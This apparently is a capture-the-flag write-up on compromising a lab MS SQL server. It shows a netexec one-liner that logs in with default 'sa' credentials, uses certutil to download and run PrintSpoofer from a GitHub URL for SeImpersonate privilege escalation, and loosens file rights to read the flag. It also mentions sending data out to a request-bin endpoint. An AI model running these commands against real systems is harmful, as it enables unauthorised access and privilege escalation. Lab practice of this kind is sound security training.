Description:

Take advantage of a vulnerability in MS SQL to gain basic access and escalate privileges to gain access to the flag in `c:\\users\\administrator\\desktop\\root.txt`

Attacking With ONE line

This one-liner does:

- use `netexec` with default creds
- download a copy of **printspoofer**
- Privilege Escalation by `SeImpersonate` privilege (with `PrintSpoofer.exe`)
- Copy the flag to a directory that we can access and change the rights so we can read the file (and also because `PrintSpoofer.exe` creates a new process... so the `stdout` & `stderror` aren't piped to `netexec`)
- read the flag in the new fresh location

```
netexec mssql 10.10.0.88 -u 'sa' -p 'Pass@123' -x 'certutil.exe -urlcache -split -f https://github.com/k4sth4/PrintSpoofer/raw/main/PrintSpoofer.exe C:\Windows\tasks\Printspoofer.exe && C:\Windows\tasks\Printspoofer.exe -c "cmd.exe /c copy C:\Users\Administrator\Desktop\root.txt C:\Windows\Tasks\root.txt && icacls C:\Windows\Tasks\root.txt /grant Everyone:(F)" && type C:\Windows\Tasks\root.txt' --local-auth
```

Before this I had the idea of:

- read the flag and create a file with its content as filename, then just use `dir`
- Other possible methods presented to me on my little endeavor (Egor & Konstantin):
  - Send the flag to an endpoint we control like `requestbins` `cloudflared` (similar to how we do it with cookie stealer)
  - Copy the flag to a new location where we can access (I went with this method)

Either way this was a nice one to practice! with netexec and escaping commands

In the troll file I was curious if I could just simply hardcode commands to run.
so I modified the printSpoofer C code and recompiled it with the changes.
See. [Trolling file next to root.txt]